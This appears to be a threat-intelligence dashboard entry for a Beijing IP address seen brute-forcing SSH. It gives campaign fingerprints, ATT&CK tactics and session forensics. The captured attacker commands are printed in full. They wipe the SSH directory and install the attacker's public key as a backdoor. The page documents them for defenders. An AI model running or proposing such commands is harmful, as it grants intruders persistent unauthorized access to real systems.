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Location
🇨🇳 CN / Beijing
ASN
AS4808 · China Unicom Beijing Province Network
Cloud Provider
—
Total Events
185
Above average by volume
Agent Count
1
First / Last Seen
2026-03-30 19:39 — 2026-04-30 21:20
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Discovery
Command and Control
External Corroboration
Blocklist.de
blocklist_de:reported
Campaigns
HASSH 03a80b21afa8… — SSH-2.0-libssh_0.11.1 (177 IPs, 35 countries)
HASSH
Active
high
🇨🇳 CN
177 IPs
59660 events
ssh:bruteforce
2026-02-27 — ongoing · 177 IPs are running an identical SSH client (HASSH fingerprint 03a80b21afa8…). Top network: China Telecom Group (AS4811). Geographic …
AS4808 China Unicom Beijing Province Network
ASN
Active
medium
🇨🇳 CN
11 IPs
784 events
ssh:bruteforce
2026-02-19 — ongoing · 11 IPs from the same network (China Unicom Beijing Province Network, AS4808) were active during overlapping time periods. …
Session Forensics
Sessions
36 (6 with login)
Avg Depth Score
0.28
Commands Executed
9
Files Downloaded
3
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Opportunistic Bruter
3db496603f60
LOGIN
1
50%
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HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
92d59413be79
LOGIN
3
1
1
100%
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HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
419631dc429a
LOGIN
1
50%
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HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
71ddb46728da
LOGIN
3
1
1
100%
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HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
4f91da4266a1
LOGIN
3
1
1
100%
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HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
c22cd652b4c8
LOGIN
1
50%
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HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Scanner
79b42e74888d
15%
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Scanner
1a51db518b92
15%
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Scanner
bbaf8b987439
15%
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Scanner
7dd7b2088b9f
15%
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Scanner
7ac6be5974a8
15%
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Scanner
fb5fb9fb1640
15%
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